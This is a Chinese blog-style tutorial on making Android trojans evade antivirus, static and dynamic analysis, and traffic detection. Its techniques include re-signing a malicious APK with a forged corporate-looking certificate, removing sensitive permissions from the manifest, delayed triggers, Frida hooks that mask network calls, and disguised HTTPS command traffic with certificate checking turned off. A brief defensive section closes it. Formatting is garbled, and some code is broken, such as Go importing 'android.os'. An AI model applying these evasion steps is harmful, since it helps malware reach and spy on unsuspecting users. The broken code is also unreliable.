一、从「防御」的背面看问题

黑客示意图

有一次在公司内部进行移动端木马捕获测试时,我注意到,很多安全团队依赖于杀毒引擎和行为检测的规则来拦截恶意 APK 文件。只要木马的行为稍微显得「古怪」一点,比如滥用敏感权限、通讯数据加密异常,或者使用了某些知名的工具链编译,都会被检测到。

这让我好奇,如果我是攻击者,要如何绕过这些检测规则?换句话说,如何生成一个看起来「合法」的移动端木马?这次就来分享几种我尝试过的免杀技巧,以及背后的技术思路。

二、伪装的艺术:从基础到复杂

在移动端木马的免杀设计中,最重要的目标就是屏蔽三类检测方式:静态签名检测动态行为分析网络流量检测

以下是我在实战中使用的一些伪装技巧,按照复杂程度逐步展开:

1. 修改 APK 文件签名

杀毒引擎的第一道检测门槛就是签名校验。许多木马开发者喜欢拿开源的恶意源码直接编译,然后用通用的签名工具(例如 apksigner)对 APK 文件签名。问题是,如果使用的签名证书已经被杀毒厂商标记为「恶意」,文件会直接被拦下。

我的思路是,生成一个看起来「正常」的签名证书,将恶意 APK 伪装成一款普通的 APP。具体流程如下:

步骤:

  1. 使用 keytool 生成一个签名证书:

<pre><code class="language-shell"> keytool -genkeypair -alias fake_cert -keyalg RSA -keysize 2048 -validity 3650 -keystore fake.keystore `

  • 输入伪造的信息,例如组织名填写「Example Corp」,地点填写「California」,这样生成的证书看起来像是正规的公司产品。
  1. 对 APK 包进行重新签名:

`shell apksigner sign --ks fake.keystore --out my_clean_apk.apk my_malware.apk `

  1. 验证签名是否成功:

`shell apksigner verify my_clean_apk.apk `

注意,签名成功后,动态分析可能无法直接识别文件为恶意程序,但这只是伪装的第一步。

---

黑客示意图

2. 修改 Manifest 文件避开权限敏感点

静态分析通常会对 APK 的 AndroidManifest.xml 文件进行扫描。如果文件中声明了太多敏感权限(如录音、短信、摄像头等),很容易触发规则。

黑客示意图

我的做法是缩减 Manifest 中的权限列表,将敏感权限动态加载到运行时,而不是在安装时直接声明。以下是具体实现:

修改 Manifest:

  1. 解压 APK 文件,找到 AndroidManifest.xml
  2. `shell apktool d my_clean_apk.apk -o unpacked_apk `

  1. 删除以下敏感权限:
  2. `xml &lt;uses-permission android:name=&quot;android.permission.RECORD_AUDIO&quot;/&gt; &lt;uses-permission android:name=&quot;android.permission.SEND_SMS&quot;/&gt; `

  1. 将木马权限动态加载,使用反射调用:
  2. `go package main

import ( &quot;android.os&quot; &quot;fmt&quot; )

func requestPermission(permission string) { fmt.Println(&quot;Requesting permission for:&quot;, permission) // 调用安卓的 Runtime API 来动态申请权限 }

func main() { permissions := []string{&quot;RECORD_AUDIO&quot;, &quot;SEND_SMS&quot;} for _, perm := range permissions { requestPermission(perm) } } `

---

3. 隐藏恶意代码的触发点

传统木马会将恶意行为直接挂钩到启动 Activity 上,例如启动时进行网络通信、收集数据等。这种行为非常容易被检测到。

更好的方法是将恶意行为延迟触发,例如通过用户的特定操作(点击按钮、滑动屏幕等)来激活木马模块。以下是我在 Go 中的一个示例代码: </code></pre>go package main

import ( "fmt" "time" )

// 模拟木马主函数 func startMalware() { fmt.Println("Malware triggered!") // 这里可以放置木马的核心功能,例如数据窃取 }

func main() { fmt.Println("App started") // 设置一个触发点,例如用户操作后延迟执行 time.Sleep(10 * time.Second) startMalware() } <pre><code> ---

三、绕过动态行为检测的几种思路

如果木马运行时的行为太过显眼,很容易被动态分析工具标记。例如,频繁访问敏感 API、大量加密通讯流量等。以下是几种绕过动态行为检测的技巧:

使用 Hook 技术隐藏恶意行为

通过 Hook 系统 API,可以伪造木马的行为,让分析工具误以为这是正常的 APP。例如 Hook 网络请求,伪装成普通的 GET/POST 请求。

Hook 示例:

使用 Frida 注入 Hook: </code></pre>javascript Java.perform(function() { var Network = Java.use("com.android.okhttp3.OkHttpClient");

黑客示意图

Network.newCall.implementation = function(request) { console.log("Intercepted network request:", request.url().toString()); // 修改请求内容 request.url = "https://legit-server.com"; return this.newCall(request); }; }); `

攻击者可以通过这种方式,将恶意行为伪装成合法流量,从而绕过动态检测。

---

四、网络流量的伪装与迷惑

在实战中,如果木马通过明文或异常加密的方式传输数据,很容易被流量检测工具识别。我的思路是将恶意通讯伪装成合法应用的流量。

使用 HTTPS + 正规域名

  1. 注册一个看起来「合法」的域名,例如 example-app.com
  2. 使用 Let's Encrypt 申请免费的 SSL 证书:
  3. `shell certbot certonly --standalone -d example-app.com `

  4. 在 Go 木马中实现 HTTPS 通信:
  5. `go package main

import ( "crypto/tls" "fmt" "net/http" )

func main() { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client := &http.Client{Transport: tr}

resp, err := client.Get("https://example-app.com/data") if err != nil { fmt.Println("HTTP request failed:", err) } else { fmt.Println("Response status:", resp.Status) } } `

---

五、检测与防御的小窍门

作为渗透测试人员,我也总结了一些防御的思路,方便我们在内网测试时更好地发现潜在木马:

  1. 重点关注动态权限申请:如果 APP 在运行时频繁调用敏感权限,可能是恶意软件。
  2. 分析流量模式:伪装流量虽然能逃过初步检测,但如果通讯时间和频率异常,仍然会暴露。
  3. 对签名进行交叉比对:通过在线服务(如 VirusTotal)检测签名证书是否被列入黑名单。

---

六、最后的一点思考

移动端木马的免杀并不是一劳永逸的事情。攻击者需要不断更新技术手段,而防御者也需要学会从攻击者的角度思考问题。希望本文的分享能给安全研究人员提供一些思路,同时提醒大家,安全是一场永无止境的攻防对抗。